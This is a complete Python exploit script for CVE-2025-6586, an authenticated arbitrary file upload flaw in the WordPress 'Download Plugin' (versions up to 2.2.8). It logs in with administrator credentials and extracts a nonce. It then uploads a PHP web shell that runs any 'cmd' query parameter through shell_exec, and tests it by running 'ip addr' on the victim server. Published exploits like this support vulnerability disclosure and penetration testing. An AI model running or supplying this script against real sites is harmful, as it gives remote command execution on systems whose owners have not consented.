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# Exploit Title: Download Plugin <= 2.2.8 - Authenticated (Administrator+) Arbitrary File Upload
# Date: 04/29/2025
# Exploit Author: Ryan Kozak https://ryankozak.com
# Vendor Homepage: https://metagauss.com/
# Version: <= 2.2.8
# CVE : CVE-2025-6586
import re
import json
import urllib3
import requests
import argparse
import urllib.parse
def extract_nonce(text):
match = re.search(r'<input[^>]+name="_wpnonce"[^>]+value="([a-fA-F0-9]+)"', text, re.IGNORECASE)
if match:
return match.group(1)
else:
print("Nonce not found.")
return None
def wp_login(victim_url: str, username: str, password: str):
with requests.Session() as s:
headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' }
datas={
'log':username, 'pwd':password, 'wp-submit':'Log In',
'redirect_to':f"{victim_url}/wp-admin", 'testcookie':'1'
}
s.post(f"{victim_url}/wp-login.php", headers=headers1, data=datas, verify=False)
return(s)
def main():
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Parse command line arguments
parser = argparse.ArgumentParser(description="CVE-2025-6586: An exploit...")
parser.add_argument("victim_url", help="Target url or ip address.")
parser.add_argument("username", help="The username for the WordPress instance.")
parser.add_argument("password", help="The password for the WordPress instance.")
args = parser.parse_args()
# Log into wprdpress and use this session for the requests.
print(f"Logging into: {args.victim_url}/wp-admin")
wp_session = wp_login(args.victim_url,args.username,args.password)
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# Grab and prase the HTML for the nonce.
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print("Extracting nonce values...")
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36'}
r = wp_session.get(f"{args.victim_url}/wp-admin/admin.php?page=mul_upload", headers=headers, verify=False)
nonce = extract_nonce(r.text)
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# Upload the malicious file.
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print("Uploading web shell: shell.php")
headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryZCsGP30gB42OBWbV"}
data = "------WebKitFormBoundaryZCsGP30gB42OBWbV\r\n"
data += "Content-Disposition: form-data; name=\"_wpnonce\"\r\n\r\n"
data += f"{nonce}\r\n"
data += "------WebKitFormBoundaryZCsGP30gB42OBWbV\r\n"
data += "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n\r\n"
data += "/wp-admin/admin.php?page=mul_upload\r\n"
data += "------WebKitFormBoundaryZCsGP30gB42OBWbV\r\n"
data += "Content-Disposition: form-data; name=\"dpwap_locFiles[]\"; filename=\"shell.php\"\r\n"
data += "Content-Type: application/octet-stream\r\n\r\n"
data += "<?php\r\n // Silence is golden\r\n // If you want to run arbitrary commands a webshell is better.\r\n if (!empty($_GET['cmd'])) {\r\n echo \"<pre>\".shell_exec($_GET['cmd']).\"</pre>\";\r\n }\r\n?>\r\n"
data += "------WebKitFormBoundaryZCsGP30gB42OBWbV\r\n"
data += "Content-Disposition: form-data; name=\"dpwap_locInstall\"\r\n\r\n"
data += "Install Now\r\n"
data += "------WebKitFormBoundaryZCsGP30gB42OBWbV--\r\n"
r = wp_session.post(f"{args.victim_url}/wp-admin/admin.php?page=mul_upload", headers=headers, data=data, verify=False)
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# Test Commands
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print(f"Web Shell Location: {args.victim_url}/wp-content/uploads/dpwap_logs/files/tmp/shell.php")
print("")
print("Executing test command: ip addr")
r = requests.get(f"{args.victim_url}/wp-content/uploads/dpwap_logs/files/tmp/shell.php?cmd=ip addr", verify=False)
print(r.text)
if __name__ == "__main__":
main()